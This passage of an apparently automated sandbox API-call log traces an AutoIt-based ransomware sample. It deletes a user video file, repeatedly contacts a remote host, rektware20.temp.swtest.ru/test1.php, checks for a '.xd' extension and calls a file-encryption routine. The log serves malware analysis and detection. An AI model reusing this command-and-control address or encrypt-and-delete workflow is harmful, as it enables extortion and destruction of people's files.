wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0067.938] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0067.939] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0067.939] CryptDestroyKey (hKey=0x164c430) returned 1 [0067.939] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.939] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.939] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.939] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.939] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.939] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.939] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.939] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.939] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.939] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0067.939] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.939] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.939] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.939] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.939] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.940] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.940] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.940] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.940] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.940] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.940] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.940] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.940] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.940] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.940] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.940] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.940] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.940] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0067.941] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0067.941] CryptReleaseContext (hProv=0x17a9e78, dwFlags=0x0) returned 1 [0067.941] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.941] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.941] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.941] FreeLibrary (hLibModule=0x74c60000) returned 1 [0067.941] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.941] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.941] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.941] CloseHandle (hObject=0x2ac) returned 1 [0067.945] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.945] CloseHandle (hObject=0x3bc) returned 1 [0067.997] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.999] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.999] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", lpFilePart=0x0) returned 0x44 [0067.999] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\10dkicqntsz3u9hzav.avi")) returned 0x20 [0067.999] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6f0 [0067.999] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\10DkiCQntSz3u9hzAv.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\10dkicqntsz3u9hzav.avi")) returned 1 [0068.002] FindNextFileW (in: hFindFile=0x164c6f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0068.002] FindClose (in: hFindFile=0x164c6f0 | out: hFindFile=0x164c6f0) returned 1 [0068.003] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.003] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.003] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.003] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.003] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0068.003] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0068.003] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.003] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0068.003] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.003] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0068.003] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0068.003] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c) returned 1 [0068.003] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.003] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.004] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.005] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0068.005] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0068.005] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0068.019] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0068.019] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0068.019] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.020] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.020] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.020] CloseHandle (hObject=0x0) returned 0 [0068.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.020] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.021] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sjjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jjvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vy1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RE6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="atxbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="txbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xbCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CV\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hJxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Jxn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xn13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="13KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KwKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wKF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KF.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0068.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.026] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.027] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0068.027] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.027] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0068.027] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0068.027] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.027] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0068.027] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0068.027] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ee1c) returned 1 [0068.027] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.027] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.027] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.029] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0068.029] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0068.029] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0068.029] InternetReadFile (in: hFile=0xcc000c, 